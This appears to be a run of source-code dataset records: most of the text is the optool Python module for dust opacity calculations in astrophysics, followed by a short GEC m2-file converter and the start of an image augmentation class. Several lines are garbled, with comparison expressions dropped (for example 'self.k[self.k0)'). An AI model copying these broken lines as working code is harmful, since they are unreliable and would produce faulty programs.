-1\n if (x.pmantle != o.pmantle): x.pmantle = -1\n if (x.amin != o.amin ): x.amin = -1\n if (x.amax != o.amax ): x.amax = -1\n if (x.nsub != o.nsub ): x.nsub = -1\n if (x.apow != o.apow ): x.apow = -1\n if (x.amean != o.amean ): x.amean = -1\n if (x.asig != o.asig ): x.asig = -1\n if (x.rho != o.rho ): x.rho = -1\n if (x.chop != o.chop ): x.chop = -1\n x.a1,x.a2,x.a3 = -1,-1,-1\n\n if hasattr(s, 'kplanck'):\n kplanck = -1\n kross = -1 \n temp = -1\n\n return x\n \n def __mul__(s,o):\n \"\"\"Multiplication for optool.particle objects.\n \n This is intended for the multiplication of such an object with\n a number. The way to think about it is like this. Such an\n contains opacities in units cm^2/g. Multiplying it with a\n number means that the opacities are now per a different mass.\n This sounds strange, but it makes sense together with addition\n of particles - which see.\n \"\"\"\n if (not (isinstance(o,int) or isinstance(o,float))):\n raise TypeError('optool.particle object can only be multiplied by a number')\n x = copy.deepcopy(s)\n x.kabs = x.kabs*o; x.ksca = x.ksca*o; x.kext = x.kext*o\n x.massscale = x.massscale*o\n if (s.scat and (s.norm != 'hovenier')):\n # We need to change the matrix as well, it's normalized to ksca\n x.f11 = x.f11*o; x.f12 = x.f12*o; x.f22 = x.f22*o\n x.f33 = x.f33*o; x.f34 = x.f34*o; x.f44 = x.f44*o\n return x\n\n def __rmul__(s,o):\n \"\"\"Rightsided multiplication of optool.particle object by a number.\"\"\"\n return s*o\n def __div__(s,o):\n \"\"\"Division of optool.particle object by a number.\"\"\"\n return s * (1./o)\n def __truediv__(s,o):\n \"\"\"Division of optool.particle object by a number.\"\"\"\n return s * (1./o)\n\n def write(s,filename,header=\"Opacity file written by optool.particle.write\"):\n \"\"\"Write a single particle object to a file.\n \n The format of the file will be similar to the dustkappa.dat and\n dustkapscatmat.dat files produced by the optool FORTRAN program,\n with the difference that the header will not contain the detailed\n information about the computation. But the file would be readable\n with the `readoutputfile' function.\n\n Arguments\n =========\n\n filename: String, pointing the file name to which output should\n be written.\n \n header: A string that should be put at the beginning of the\n file, as a commend describing the dataset. The string\n may have several lines, the # comment character will\n automatically be added to the beginning of every line.\n \"\"\"\n\n if (s.np>1):\n raise TypeError('Writing is not supported for multi-particle objects')\n try:\n wfile = open(filename, 'w')\n except:\n raise RuntimeError('Cannot write to file: '+filename)\n\n headerlines = header.splitlines()\n for i in range(len(headerlines)):\n wfile.write(\"# %s\\n\" % headerlines[i])\n if s.scat:\n wfile.write(' 0\\n')\n wfile.write(' %d\\n' % s.nlam)\n wfile.write(' %d\\n' % s.nang)\n wfile.write('\\n')\n else:\n wfile.write(' 3\\n')\n wfile.write(' %d\\n' % s.nlam)\n \n for i in range(s.nlam):\n # write the lambda grid and the opacities\n wfile.write(' %15.5e %15.5e %15.5e %15.5e\\n' % (s.lam[i],s.kabs[0,i],s.ksca[0,i],s.gsca[0,i]))\n \n if s.scat:\n # we have a scattering matrix\n wfile.write('\\n')\n # Write the angular grid\n for i in range(s.nang):\n wfile.write(\"%9.2f\\n\" % s.scatang[i])\n wfile.write('\\n')\n # Write the scattering matrix\n for il in range(s.nlam):\n for ia in range(s.nang):\n wfile.write(' %15.5e %15.5e %15.5e %15.5e %15.5e %15.5e\\n' %\n (s.f11[0,il,ia],s.f12[0,il,ia],s.f22[0,il,ia],\n s.f33[0,il,ia],s.f34[0,il,ia],s.f44[0,il,ia]))\n wfile.close()\n\nclass lnktable:\n \"\"\"Class to work with lnk files.\n\nlnk stands for lambda, n, and k, where and and k are the real and\nimaginary components of the refractive index of a material.\n \n\n\nConversion\n----------\n\n The standard format of these files is described in the optool user\n guide. The class can also read files that are formatted\n differently, in order to create properly formatted version. For\n example, if you have a file starting with 4 unimportant lines, and\n then data columns where n an k are in column 1 and 2,\n respectively, and the wavelength is given in units of cm^-1 in\n column 3, you can do the conversion in this way:\n\n new = optool.lnktable('x.dat',i_lnk=[3,1,2], nskip=4)\n new.lam = 10000./new.lam # convert cm^-1 -> micrometer\n new.sort() # sort arrays according to lambda\n new.rho = 3.2 # set density in g/cm^3\n new.header = \"# This is a silicate from Dorschner+1995\"\n new.write('sil-Dorschner1995.lnk')\n\n \"\"\"\n def __init__(self,file,i_lnk=[1,2,3],nskip=0,nlam_rho=True):\n \"\"\"Create a new optool.lnktable object\n\n Parameters\n ----------\n \n file : str\n the file name from which to read the lnk data\n\n i_lnk : numpy array, optional\n the column numbers where to find lambda, the real part of the\n refractive index and the imaginary part of it, respectively.\n The default is [1,2,3] .\n\n nskip : int, optional\n Number of lines to skil at the beginning. Lines starting with\n `#', `!' or `*` are stored as header lines and ar skipped in\n this way. So this parameter is for dealing with files that are\n not yet formatted in the standard way for optool. The default\n is 0.\n\n nlam_rho : boolean, optional\n True means, the first unskipped line contains the number of\n wavelengths points and the specific density of the material.\n False means no such line exists, and the lines have to be\n counted. Rho will be se to 0 then, to indicate that the value\n is not know at this point.\n \"\"\"\n self.filename = file\n try:\n rfile = open(file, 'r')\n except:\n print('ERROR: File not found:',file)\n return -1\n print('Reading lnk file ',file,'...')\n\n # Skip lines that are irrelevant\n for i in range (nskip): dum = rfile.readline()\n\n # Read the header/comment field\n header = ''\n dum = rfile.readline()\n while ((dum.strip()[0]=='#') or (dum.strip()[0]=='*') or (dum.strip()[0]=='!')):\n header = header + dum\n dum = rfile.readline()\n self.header = header\n\n # Extract the number of wavelengths points, and the material density\n if (nlam_rho):\n dum = dum.split()\n self.nlam = int(dum[0])\n self.rho = float(dum[1])\n dum = rfile.readline()\n else:\n self.nlam = 1\n self.rho = 0.0\n print(\"Warning: density rho is not known! Make sure to set it by hand.\")\n\n # Prepare the arrays\n self.lam = []\n self.n = []\n self.k = []\n ilam = 0\n \n # Fill the arrays\n while True:\n dum = dum.split()\n ilam = ilam+1\n self.lam.append(float(dum[i_lnk[0]-1]))\n self.n.append( float(dum[i_lnk[1]-1]))\n self.k.append( float(dum[i_lnk[2]-1]))\n dum = rfile.readline()\n if ((len(dum) == 0) or dum.isspace()):\n # No more data. Truncate the arrays and stop reading\n if (not (self.nlam == ilam)):\n print(\"WARNING: found %d lines of data, not %d\" % (ilam,self.nlam))\n # Convert to numpy arrays and exit\n self.nlam = ilam\n self.lam = np.array(self.lam)\n self.n = np.array(self.n)\n self.k = np.array(self.k)\n break\n rfile.close()\n\n def sort(self):\n \"\"\"Sort lam, n, and k according to lambda array.\"\"\"\n sortinds = self.lam.argsort()\n self.lam = self.lam[sortinds]\n self.n = self.n[sortinds]\n self.k = self.k[sortinds]\n\n def smooth(self,size=10):\n \"\"\"Smooth n and k with a medium filter of SIZE bins.\"\"\"\n from scipy.ndimage import median_filter\n self.n = median_filter(self.n,size)\n self.k = median_filter(self.k,size)\n\n def decimate(self,step=2,size=0):\n \"\"\"Decimate the arrays by a factor STEP.\n When SIZE is given instead, decimate to that size.\"\"\"\n # FIXME: should we force to keep the first and last values?\n from math import floor\n if (size > 0):\n nlam = self.lam.size \n step = floor(nlam/size)\n print(\"Decimating in steps of \",step,\" to reach size \",size)\n self.lam = self.lam[:-step:step]\n self.n = self.n[:-step:step]\n self.k = self.k[:-step:step]\n self.nlam = self.lam.size \n\n def klimit(self,limit=0.):\n \"\"\"Make sure imaginary part k is never smaller than LIMIT\"\"\"\n self.k[self.k0)\n b = np.where(array<=0)\n array[a] = np.log10(array[a]+bottom) - lb\n array[b] = -np.log10(-array[b]+bottom) + lb\n return array\n\ndef check_for_output(dir):\n # Check for and if necessary rename input files\n for ext in['dat','inp']:\n if (os.path.exists(dir+'/dustkapscatmat_001.'+ext)):\n return True, ext, dict()\n elif (os.path.exists(dir+'/dustkappa_001.'+ext)):\n return False, ext, dict()\n elif (os.path.exists(dir+'/dustkapscatmat.'+ext)):\n return True, ext, { dir+'/dustkapscatmat_001.'+ext : dir+'/dustkapscatmat.'+ext }\n elif (os.path.exists(dir+'/dustkappa.'+ext)):\n return False, ext, { dir+'/dustkappa_001.'+ext : dir+'/dustkappa.'+ext }\n raise RuntimeError(f\"No valid OpTool output files found in directory {dir}\")\n\ndef parse_headers(headers,b):\n # Extract information on run parameters from headers\n n = len(headers)\n b.amin = np.zeros(n); b.amax = np.zeros(n);\n b.apow = np.zeros(n); b.amean = np.zeros(n); b.asig = np.zeros(n);\n b.a1 = np.zeros(n); b.a2 = np.zeros(n); b.a3 = np.zeros(n);\n b.nsub = np.zeros(n,dtype=np.int8)\n b.pcore = np.zeros(n); b.pmantle = np.zeros(n); b.fmax = np.zeros(n);\n b.chop = np.zeros(n);\n b.materials = []\n b.rho = []\n\n for i in range(n):\n mat = []\n m = re.search(r\" amin \\[um\\]\\s*=\\s*(-?[0-9.]+)\",headers[i])\n b.amin[i]=float(m.group(1))\n m = re.search(r\" amax \\[um\\]\\s*=\\s*(-?[0-9.]+)\",headers[i])\n b.amax[i]=float(m.group(1))\n m = re.search(r\" na\\s*=\\s*(-?[0-9.]+)\",headers[i])\n b.nsub[i]=int(m.group(1))\n m = re.search(r\" \\s*=\\s*([-+0-9.eE]+)\\s+([-+0-9.eE]+)\\s+([-+0-9.eE]+)\",headers[i])\n b.a1[i]=float(m.group(1))\n b.a2[i]=float(m.group(2))\n b.a3[i]=float(m.group(3))\n\n for m in re.finditer(r\"^#\\s+(core|mantle|grain)\\s+([.0-9]+)\\s+([.0-9]+)\\s*(\\S.*?)$\",headers[0],re.MULTILINE):\n mat.append([m.group(1),float(m.group(2)),float(m.group(3)),m.group(4)])\n if m.group(1) == \"grain\": b.rho.append(float(m.group(3)))\n b.materials.append(mat)\n b.rho = np.array(b.rho)\n b.materials = np.array(b.materials)\n m = re.search(r\" apow\\s*=\\s*(-?[0-9.]+)\",headers[0])\n # apow may or may not be present, so we need to test\n if m:\n b.apow = np.full(n,float(m.group(1)))\n # lgnm may or may not be present, so we need to test\n m = re.search(r\" (lgnm|norm)\\s*=\\s*(-?[-0-9.eE]+):(-?[-0-9.eE]+)\",headers[0])\n if m:\n b.amean = np.full(n,float(m.group(2)))\n b.asig = np.full(n,float(m.group(3)))\n m = re.search(r\" porosity\\s*=\\s*([0-9.]+)\",headers[0])\n b.pcore = np.full(n,float(m.group(1)))\n m = re.search(r\" p_mantle\\s*=\\s*(-?[0-9.]+)\",headers[0])\n b.pmantle = np.full(n,float(m.group(1)))\n m = re.search(r\" fmax\\s*=\\s*([0-9.]+)\",headers[0])\n b.fmax = np.full(n,float(m.group(1)))\n m = re.search(r\" chop\\s*=\\s*([0-9.]+)\",headers[0])\n b.chop = np.full(n,float(m.group(1)))\n\n m = re.search(r\" RADMC-3D\",headers[0])\n if m:\n b.radmc = True\n b.gridtype = \"boundary\"\n b.norm = \"radmc\"\n else:\n b.radmc = False\n b.gridtype = \"center\"\n b.norm = \"hovenier\"\n\n return b\n\ndef readoutputfile(file,scat,silent=False):\n \"\"\"Read OpTool output file FILE.\n\n Parameters\n ----------\n\n file : str\n The file name to read\n scat : bool\n When True, the file contains a scattering matrix\n silent : boolean\n If True, no message or warning will be printed on screen\n\n Returns\n -------\n\n Depending on the SCAT flag, Returns a list with these elements\n \n [header,lam,kabs,ksca,phase_g] or\n [header,lam,kabs,ksca,phase_g,scatang,f11,f12,f22,f33,f34,f44]\n \"\"\"\n try:\n rfile = open(file, 'r')\n except:\n raise RuntimeError('File not found: '+file)\n if not silent:\n print('Reading',file,'...')\n\n # Read the header/comment field\n header = ''\n dum = rfile.readline()\n while dum.strip()[0]=='#':\n header = header + dum\n dum = rfile.readline()\n\n # Read the file format\n while len(dum.strip())<1: dum = rfile.readline() # skip any empty lines\n iformat = int(dum)\n\n # Read the number of wavelengths in the file and prepare arrays\n nlam = int(rfile.readline())\n lam=np.zeros(nlam); kabs=np.zeros(nlam); ksca=np.zeros(nlam); phase_g=np.zeros(nlam)\n\n if scat:\n # Read the scattering angular grid size and prepare arrays\n nang = int(rfile.readline())\n scatang = np.zeros(nang)\n f11=np.zeros([nlam,nang]); f12=np.zeros([nlam,nang]); f22=np.zeros([nlam,nang])\n f33=np.zeros([nlam,nang]); f34=np.zeros([nlam,nang]); f44=np.zeros([nlam,nang])\n\n # Read the opacities\n dum = rfile.readline()\n while len(dum.strip())<1: dum = rfile.readline() # skip any empty lines\n for ilam in range(nlam):\n dum = dum.split()\n lam[ilam] = float(dum[0])\n kabs[ilam] = float(dum[1])\n ksca[ilam] = float(dum[2])\n phase_g[ilam] = float(dum[3])\n dum = rfile.readline()\n\n if scat:\n # Read the angular grid\n while len(dum.strip())<1: dum = rfile.readline() # skip any empty lines\n for iang in range(nang):\n scatang[iang] = float(dum)\n dum = rfile.readline()\n\n # Read the scattering matrix\n while len(dum.strip())<1: dum = rfile.readline()\n dums = rfile.readlines()\n dums.insert(0,dum)\n data = np.fromstring(\"\".join(dums),sep=' ')\n data = np.reshape(data,(nlam,nang,6),'C')\n f11[:,:]=data[:,:,0]; f12[:,:]=data[:,:,1]; f22[:,:]=data[:,:,2]\n f33[:,:]=data[:,:,3]; f34[:,:]=data[:,:,4]; f44[:,:]=data[:,:,5]\n\n rfile.close()\n if scat:\n return [header,lam,kabs,ksca,phase_g,scatang,f11,f12,f22,f33,f34,f44]\n else:\n return [header,lam,kabs,ksca,phase_g]\n\ndef writecmd(dir,cmd):\n \"\"\"Store the CMD string in file DIR/cmd.\n \"\"\"\n if (os.path.isdir(dir)):\n # Directory does not exist\n dir = dir.rstrip('/')\n filename = dir+\"/cmd\"\n try:\n wfile = open(filename, 'w')\n except:\n print('ERROR: Cannot write to file: ',filename)\n return False\n newcmd=cmd.strip()\n wfile.write(cmd+\"\\n\")\n wfile.close()\n return True\n else:\n return False\n \ndef checkcmd(dir,cmd):\n \"\"\"Check if new command line is the same as the old one.\n\n This functions checks if the directory DIR contains a file\n called CMD, and if the first line in thie directory is the\n same as the string passed with the DIR parameter.\n \"\"\"\n if (not os.path.isdir(dir)):\n # Directory does not exist\n return False\n if (len(os.listdir(dir))<=1):\n # There are less than one file in the directory. So either the cmd\n # file does not exist, or no output files are present.\n return False\n dir = dir.rstrip('/')\n filename = dir+\"/cmd\"\n if (not os.path.exists(dir+\"/cmd\")):\n # The command file does not exist\n return False\n try:\n rfile = open(filename, 'r')\n except:\n print('ERROR: Cannot read file: ',filename)\n return False\n dum = rfile.readline()\n rfile.close()\n cached_cmd = dum.strip()\n new_cmd = cmd.strip()\n return (cached_cmd == new_cmd)\n \ndef viewarr(data,index=0,x=None,ymin=None,ymax=None,ylabel=None,idxnames=None,idxvals=None,idxformat=''):\n \"\"\"\n For details about this function see https://github.com/dullemond/interactive_plot\n \"\"\"\n if type(data)==list:\n shape = data[0].shape\n ndim = len(shape)\n else:\n shape = data.shape\n ndim = len(shape)\n assert index4 and i==0):\n axm0, = ax.plot(x,x,'-',color='0.9',linewidth=5,label=ylabel[i])\n elif (len(datatrans)>4 and i==1): \n axm0, = ax.plot(x,x,'--',color='0.8',linewidth=2,label=ylabel[i])\n elif (len(datatrans)>4 and i==2): \n axm0, = ax.plot(x,x,'--',color='0.8',linewidth=2,label=ylabel[i])\n elif (len(datatrans)>4 and i==3): \n axm0, = ax.plot(x,x,':',color='0.6',linewidth=2,label=ylabel[i])\n elif (len(datatrans)>4 and i==4): \n axm0, = ax.plot(x,x,':',color='0.6',linewidth=2,label=ylabel[i])\n else:\n axm0, = ax.plot(x,x,label=ylabel[i])\n axmodel.append(axm0)\n ax.legend()\n else:\n axmodel = None\n interactive_plot(x, func, params, ymin=ymin, ymax=ymax, parnames=parnames, parunits=None, fig=fig, ax=ax, axmodel=axmodel, parstart=None, iparstart=None, plotbutton=False, fixedpar=None, returnipar=False, block=False, paramsalt=paramsalt, altformat=idxformat)\n\ndef interactive_plot(x, func, params, ymin=None, ymax=None, parnames=None, parunits=None, fig=None, ax=None, axmodel=None, parstart=None, iparstart=None, plotbutton=False, fixedpar=None, returnipar=False, block=False, paramsalt=None, altformat='', **kwargs):\n \"\"\"\n For details about this function see https://github.com/dullemond/interactive_plot\n \"\"\"\n from matplotlib.widgets import Slider, Button, RadioButtons\n\n # Compute spacing of plot, sliders and button\n hslider = 0.03\n nslidrscl= 6\n if(len(params)>nslidrscl):\n hslider *= float(nslidrscl)/len(params)\n dyslider = hslider*(4./3.)\n xslider = 0.3\n wslider = 0.3\n hbutton = 0.06\n wbutton = 0.15\n xbutton = 0.3\n dybutton = hbutton+0.01\n panelbot = 0.0\n controlh = panelbot + len(params)*dyslider\n if plotbutton: controlh += dybutton\n controltop = panelbot + controlh\n bmargin = 0.15\n \n # generate figure\n if fig is None: fig = plt.figure()\n fig.subplots_adjust(top=0.95,bottom=controltop+bmargin)\n\n # Set the initial values\n indexinit = np.zeros(len(params),dtype=int)\n if parstart is not None:\n for i in range(len(params)):\n if parstart[i] in params[i]:\n idx = np.where(np.array(params[i])==parstart[i])[0]\n if len(idx)>0:\n indexinit[i] = idx[0]\n else:\n if params[i][-1]>params[i][0]:\n idx = np.where(np.array(params[i])0:\n indexinit[i] = idx[-1]\n else:\n idx = np.where(np.array(params[i])>parstart[i])[0]\n if len(idx)>0:\n indexinit[i] = idx[0]\n if iparstart is not None:\n indexinit[:] = iparstart[:]\n\n # select first image\n par = []\n for i in range(len(params)):\n par.append(params[i][indexinit[i]])\n if fixedpar is not None:\n f = func(x,par,fixedpar=fixedpar)\n else:\n f = func(x,par)\n\n # set range\n if ymin is None: ymin = f.min()\n if ymax is None: ymax = f.max()\n \n # display function(s)\n if ax is None: ax = plt.axes(xlim=(x.min(),x.max()),ylim=(ymin,ymax))\n if axmodel is None:\n if len(f.shape)==1:\n # Normal case: a single model function\n axmodel, = ax.plot(x,f,**kwargs)\n else:\n # Special case: multiple model functions: f[imodel,:]\n assert len(f.shape)==2, 'Model returns array with more than 2 dimensions. No idea what to do.'\n axmodel = []\n for i in range(f.shape[0]):\n axm, = ax.plot(x,f[i,:],**kwargs)\n axmodel.append(axm)\n \n sliders = []\n for i in range(len(params)):\n \n # define slider\n axcolor = 'lightgoldenrodyellow'\n axs = fig.add_axes([xslider, controltop-i*dyslider, xslider+wslider, hslider], facecolor=axcolor)\n\n if parnames is not None:\n name = parnames[i]\n else:\n name = 'Parameter {0:d}'.format(i)\n\n slider = Slider(axs, name, 0, len(params[i]) - 1,\n valinit=indexinit[i], valfmt='%i')\n sliders.append(slider)\n\n if plotbutton:\n axb = fig.add_axes([xbutton, panelbot+0.2*hbutton, xbutton+wbutton, hbutton])\n pbutton = Button(axb,'Plot')\n else:\n pbutton = None\n\n class callbackplot(object):\n def __init__(self,x,func,params,sliders,pbutton=None,fixedpar=None,ipar=None):\n self.x = x\n self.func = func\n self.params = params\n self.sliders = sliders\n self.pbutton = pbutton\n self.fixedpar = fixedpar\n self.parunits = parunits\n self.paramsalt= paramsalt\n self.altformat= altformat\n self.closed = False\n if ipar is None:\n self.ipar = np.zeros(len(sliders),dtype=int)\n else:\n self.ipar = ipar\n def handle_close(self,event):\n self.closed = True\n def myreadsliders(self):\n for isl in range(len(self.sliders)):\n ind = int(self.sliders[isl].val)\n self.ipar[isl]=ind\n par = []\n for i in range(len(self.ipar)):\n ip = self.ipar[i]\n value = self.params[i][ip]\n par.append(value)\n name = self.sliders[i].label.get_text()\n if '=' in name:\n namebase = name.split('=')[0]\n if self.paramsalt is not None:\n vls = \"{0:\" + self.altformat + \"}\"\n name = namebase + \"= \" + vls.format(self.paramsalt[i][ip])\n else:\n if self.parunits is not None:\n valunit = self.parunits[i]\n else:\n valunit = 1.0\n name = namebase + \"= {0:13.6e}\".format(value/valunit)\n self.sliders[i].label.set_text(name)\n return par\n def myreplot(self,par):\n x = self.x\n if self.fixedpar is not None:\n f = self.func(x,par,fixedpar=self.fixedpar)\n else:\n f = self.func(x,par)\n if len(f.shape)==1:\n axmodel.set_data(x,f)\n else:\n for i in range(f.shape[0]):\n axmodel[i].set_data(x,f[i,:])\n plt.draw()\n def mysupdate(self,event):\n par = self.myreadsliders()\n if self.pbutton is None: self.myreplot(par)\n def mybupdate(self,event):\n par = self.myreadsliders()\n if self.pbutton is not None: self.pbutton.label.set_text('Computing...')\n plt.pause(0.01)\n self.myreplot(par)\n if self.pbutton is not None: self.pbutton.label.set_text('Plot')\n\n mcb = callbackplot(x,func,params,sliders,pbutton=pbutton,fixedpar=fixedpar,ipar=indexinit)\n\n mcb.mybupdate(0)\n\n if plotbutton:\n pbutton.on_clicked(mcb.mybupdate)\n for s in sliders:\n s.on_changed(mcb.mysupdate)\n\n fig._mycallback = mcb\n\n if block:\n plt.show(block=True)\n if returnipar:\n return mcb.ipar\n \n\ndef interactive_curve(t, func, params, xmin=None, xmax=None, ymin=None, ymax=None, parnames=None, parunits=None, fig=None, ax=None, axmodel=None, parstart=None, iparstart=None, plotbutton=False, fixedpar=None, returnipar=False, block=False, **kwargs):\n \"\"\"\n For details about this function see https://github.com/dullemond/interactive_plot\n \"\"\"\n from matplotlib.widgets import Slider, Button, RadioButtons\n\n # Compute spacing of plot, sliders and button\n hslider = 0.03\n nslidrscl= 6\n if(len(params)>nslidrscl):\n hslider *= float(nslidrscl)/len(params)\n dyslider = hslider*(4./3.)\n xslider = 0.3\n wslider = 0.3\n hbutton = 0.06\n wbutton = 0.15\n xbutton = 0.3\n dybutton = hbutton+0.01\n panelbot = 0.0\n controlh = panelbot + len(params)*dyslider\n if plotbutton: controlh += dybutton\n controltop = panelbot + controlh\n bmargin = 0.15\n \n # generate figure\n if fig is None: fig = plt.figure()\n fig.subplots_adjust(top=0.95,bottom=controltop+bmargin)\n\n # Set the initial values\n indexinit = np.zeros(len(params),dtype=int)\n if parstart is not None:\n for i in range(len(params)):\n if parstart[i] in params[i]:\n idx = np.where(np.array(params[i])==parstart[i])[0]\n if len(idx)>0:\n indexinit[i] = idx[0]\n else:\n if params[i][-1]>params[i][0]:\n idx = np.where(np.array(params[i])0:\n indexinit[i] = idx[-1]\n else:\n idx = np.where(np.array(params[i])>parstart[i])[0]\n if len(idx)>0:\n indexinit[i] = idx[0]\n if iparstart is not None:\n indexinit[:] = iparstart[:]\n\n # select first image\n par = []\n for i in range(len(params)):\n par.append(params[i][indexinit[i]])\n if fixedpar is not None:\n x, y = func(t,par,fixedpar=fixedpar)\n else:\n x, y = func(t,par)\n\n # set range\n if xmin is None: xmin = x.min()\n if xmax is None: xmax = x.max()\n if ymin is None: ymin = y.min()\n if ymax is None: ymax = y.max()\n \n # display function\n if ax is None: ax = plt.axes(xlim=(xmin,xmax),ylim=(ymin,ymax))\n if axmodel is None:\n if len(x.shape)==1:\n # Normal case: a single model function\n assert len(x.shape)==1, 'Cannot have multiple y and single x'\n axmodel, = ax.plot(x,y,**kwargs)\n else:\n # Special case: multiple model functions: f[imodel,:]\n assert len(x.shape)==2, 'Model returns array with more than 2 dimensions. No idea what to do.'\n assert len(y.shape)==2, 'Cannot have multiple x and single y'\n axmodel = []\n for i in range(x.shape[0]):\n axm, = ax.plot(x[i,:],y[i,:],**kwargs)\n axmodel.append(axm)\n \n sliders = []\n for i in range(len(params)):\n \n # define slider\n axcolor = 'lightgoldenrodyellow'\n axs = fig.add_axes([xslider, controltop-i*dyslider, xslider+wslider, hslider], facecolor=axcolor)\n\n if parnames is not None:\n name = parnames[i]\n else:\n name = 'Parameter {0:d}'.format(i)\n \n slider = Slider(axs, name, 0, len(params[i]) - 1,\n valinit=indexinit[i], valfmt='%i')\n sliders.append(slider)\n\n if plotbutton:\n axb = fig.add_axes([xbutton, panelbot+0.2*hbutton, xbutton+wbutton, hbutton])\n pbutton = Button(axb,'Plot')\n else:\n pbutton = None\n\n class callbackcurve(object):\n def __init__(self,t,func,params,sliders,pbutton=None,fixedpar=None,ipar=None):\n self.t = t\n self.func = func\n self.params = params\n self.sliders = sliders\n self.pbutton = pbutton\n self.fixedpar = fixedpar\n self.parunits = parunits\n self.closed = False\n if ipar is None:\n self.ipar = np.zeros(len(sliders),dtype=int)\n else:\n self.ipar = ipar\n def handle_close(self,event):\n self.closed = True\n def myreadsliders(self):\n for isl in range(len(self.sliders)):\n ind = int(self.sliders[isl].val)\n self.ipar[isl]=ind\n par = []\n for i in range(len(self.ipar)):\n ip = self.ipar[i]\n value = self.params[i][ip]\n par.append(value)\n name = self.sliders[i].label.get_text()\n if '=' in name:\n namebase = name.split('=')[0]\n if self.parunits is not None:\n valunit = self.parunits[i]\n else:\n valunit = 1.0\n name = namebase + \"= {0:13.6e}\".format(value/valunit)\n self.sliders[i].label.set_text(name)\n return par\n def myreplot(self,par):\n t = self.t\n if self.fixedpar is not None:\n x,y = self.func(t,par,fixedpar=self.fixedpar)\n else:\n x,y = self.func(t,par)\n if len(x.shape)==1:\n axmodel.set_data(x,y)\n else:\n for i in range(x.shape[0]):\n axmodel[i].set_data(x[i,:],y[i,:])\n plt.draw()\n def mysupdate(self,event):\n par = self.myreadsliders()\n if self.pbutton is None: self.myreplot(par)\n def mybupdate(self,event):\n par = self.myreadsliders()\n if self.pbutton is not None: self.pbutton.label.set_text('Computing...')\n plt.pause(0.01)\n self.myreplot(par)\n if self.pbutton is not None: self.pbutton.label.set_text('Plot')\n\n mcb = callbackcurve(t,func,params,sliders,pbutton=pbutton,fixedpar=fixedpar,ipar=indexinit)\n \n mcb.mybupdate(0)\n \n if plotbutton:\n pbutton.on_clicked(mcb.mybupdate)\n for s in sliders:\n s.on_changed(mcb.mysupdate)\n\n fig._mycallback = mcb\n \n if block:\n plt.show(block=True)\n if returnipar:\n return mcb.ipar\n\ndef bplanck(temp,nu):\n \"\"\"\n----------------------------------------------------------------------------\n THE BLACKBODY PLANCK FUNCTION B_nu(T)\n\n This function computes the Blackbody function \n\n 2 h nu^3 / c^2\n B_nu(T) = ------------------ [ erg / cm^2 s ster Hz ]\n exp(h nu / kT) - 1\n\n ARGUMENTS:\n nu [Hz] = Frequency (may be an array)\n temp [K] = Temperature\n----------------------------------------------------------------------------\n \"\"\"\n if (temp == 0.e0): return nu*0.e0\n bplanck = 1.47455e-47 * nu**3 / (np.exp(4.7989e-11 * nu / temp)-1.e0) + 1.e-290\n return bplanck\n\ndef bplanckdt(temp,nu):\n \"\"\"\n----------------------------------------------------------------------------\n THE TEMPERATURE DERIVATIVE OF PLANCK FUNCTION \n \n This function computes the temperature derivative of the\n Blackbody function \n \n dB_nu(T) 2 h^2 nu^4 exp(h nu / kT) 1 \n -------- = ---------- ------------------------ ---\n dT k c^2 [ exp(h nu / kT) - 1 ]^2 T^2\n \n ARGUMENTS:\n nu [Hz] = Frequency (may be an array)\n temp [K] = Temperature\n----------------------------------------------------------------------------\n \"\"\"\n bplanckdt = np.zeros(len(nu))\n exponent = 4.7989e-11*nu/temp\n mask = (exponent <= 76.)\n bplanckdt[mask] = 7.07661334104e-58 * nu[mask]**4 * np.exp(exponent[mask]) / \\\n ( (np.exp(exponent[mask])-1.e0)**2 * temp**2 ) + 1.e-290\n mask = (exponent > 76.)\n bplanckdt[mask] = 7.07661334104e-58 * nu[mask]**4 / \\\n ( np.exp(exponent[mask]) * temp**2 ) + 1.e-290\n return bplanckdt\n\np = particle # Make p() an alias for the particle() method\n","repo_name":"cdominik/optool","sub_path":"optool.py","file_name":"optool.py","file_ext":"py","file_size_in_byte":69257,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"78"} +{"seq_id":"14367394333","text":"import argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"m2_file\", help=\"The path to an input m2 file.\")\nparser.add_argument(\"-out\", help=\"A path to where we save the output text file.\", required=True)\nargs = parser.parse_args()\n\nwith open(args.m2_file, 'r') as infile, open(args.out, 'w') as outfile:\n for line in infile:\n parts = line.split()\n if len(parts) == 0:\n continue\n elif parts[0] == 'S':\n outfile.write(' '.join(parts[1:]) + '\\n')\n","repo_name":"StuartMesham/gector_experiment_public","sub_path":"utils/uncorr_from_m2.py","file_name":"uncorr_from_m2.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"78"} +{"seq_id":"19225456326","text":"import numpy as np\nimport copy\nfrom skimage import transform\nimport skimage\nfrom params import *\n\nclass Augmenter():\n\tdef __init__(self, X, rotation = 0, translation = (0,0), zoom = 1.0, shear = 0, do_flip = False):\n\t\tself.X = copy.copy(X)\n\n\t\tself.IMAGE_WIDTH = PIXELS\n\t\tself.IMAGE_HEIGHT = PIXELS\n\t\tself.rotation = rotation\n\t\tself.translation = translation\n\t\tself.zoom = zoom\n\t\tself.shear = shear\n\t\tself.do_flip = do_flip\n\n\tdef fast_warp(self, img, tf, output_shape=(PIXELS,PIXELS), mode='nearest'):\n\t\treturn skimage.transform._warps_cy._warp_fast(img, tf.params, output_shape=output_shape, mode=mode)\n\n\tdef _transform(self):\n\t\trotation = self.rotation\n\t\tshear = self.shear\n\n\t\tif self.do_flip:\n\t\t\tshear += 180\n\t\t\trotation += 180\n\n\t\treturn self.build_augmentation_transform(self.zoom, rotation, shear, self.translation)\n\n\tdef build_augmentation_transform(self, zoom=1.0, rotation=0, shear=0, translation=(0, 0)):\n\t\tcenter_shift = np.array((self.IMAGE_HEIGHT, self.IMAGE_WIDTH)) / 2. - 0.5\n\t\ttform_center = transform.SimilarityTransform(translation=-center_shift)\n\t\ttform_uncenter = transform.SimilarityTransform(translation=center_shift)\n\n\t\ttform_augment = transform.AffineTransform(scale=(1/zoom, 1/zoom), \n\t\t\t\t\t\t\t\t\t\t\t\t rotation=np.deg2rad(rotation), \n\t\t\t\t\t\t\t\t\t\t\t\t shear=np.deg2rad(shear), \n\t\t\t\t\t\t\t\t\t\t\t\t translation=translation)\n\t\ttform = tform_center + tform_augment + tform_uncenter \n\t\treturn tform\n\n\tdef transform(self):\n\t\ttform_augment = self._transform()\n\t\ttform_identity = 